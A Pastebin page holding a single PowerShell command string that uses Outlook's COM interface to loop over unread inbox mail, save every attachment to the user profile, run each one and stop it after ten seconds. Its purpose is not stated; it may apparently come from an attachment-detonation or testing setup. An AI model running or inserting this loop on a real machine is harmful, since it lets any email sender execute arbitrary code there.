Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $Command_save_mail_attachment = '$outlook = new-object -com Outlook.Application; start-sleep 30; $namespace = $outlook.GetNamespace("MAPI"); $inbox = $namespace.GetDefaultFolder("olFolderInbox"); while ($True) { $inbox.Items | foreach { if ($_.UnRead) { $_.UnRead = $False; $_.attachments | foreach { $a = $_.filename; $file = (join-path -path $env:userProfile -childpath $a); $_.saveasfile(("$file")) ; $proc = start-process -passthru $file ; start-sleep 10; stop-process $proc;}}}}'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement